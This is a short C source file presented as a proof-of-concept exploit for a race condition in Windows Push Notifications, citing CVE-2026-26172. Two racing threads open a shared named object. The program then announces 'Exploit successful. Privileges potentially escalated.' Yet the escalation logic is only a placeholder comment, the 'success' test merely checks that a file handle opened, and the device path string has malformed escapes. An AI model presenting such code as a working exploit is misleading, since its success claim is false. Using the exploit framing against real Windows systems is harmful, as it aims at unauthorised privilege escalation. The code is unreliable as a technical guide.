/*
* PoC for Race Condition in Windows Push Notifications
* This code attempts to exploit a synchronization issue.
* Note: This is a conceptual demonstration for educational purposes.
*/
#include <windows.h>
#include <stdio.h>
volatile BOOL isExploited = FALSE;
DWORD WINAPI Thread1(LPVOID lpParam) {
// Simulate checking permission on a shared resource
HANDLE hShared = CreateFile(L"\\.\WindowsPushNotificationShared",
GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hShared != INVALID_HANDLE_VALUE) {
printf("[+] Thread 1: Accessed shared resource.\n");
// Introduce a delay to widen the race window
Sleep(100);
CloseHandle(hShared);
}
return 0;
}
DWORD WINAPI Thread2(LPVOID lpParam) {
// Wait for the small window where Thread1 has checked but not finished
Sleep(50);
// Attempt to impersonate or modify the resource during the window
HANDLE hShared = CreateFile(L"\\.\WindowsPushNotificationShared",
GENERIC_WRITE | GENERIC_READ, 0, NULL, OPEN_ALWAYS, 0, NULL);
if (hShared != INVALID_HANDLE_VALUE) {
printf("[+] Thread 2: Exploited race condition!\n");
// Logic to elevate privileges would go here
isExploited = TRUE;
CloseHandle(hShared);
}
return 0;
}
int main() {
printf("[*] Starting PoC for CVE-2026-26172...\n");
HANDLE hThreads[2];
// Create racing threads
hThreads[0] = CreateThread(NULL, 0, Thread1, NULL, 0, NULL);
hThreads[1] = CreateThread(NULL, 0, Thread2, NULL, 0, NULL);
WaitForMultipleObjects(2, hThreads, TRUE, INFINITE);
if (isExploited) {
printf("[+] Exploit successful. Privileges potentially escalated.\n");
} else {
printf("[-] Exploit failed. Race condition not triggered.\n");
}
CloseHandle(hThreads[0]);
CloseHandle(hThreads[1]);
return 0;
}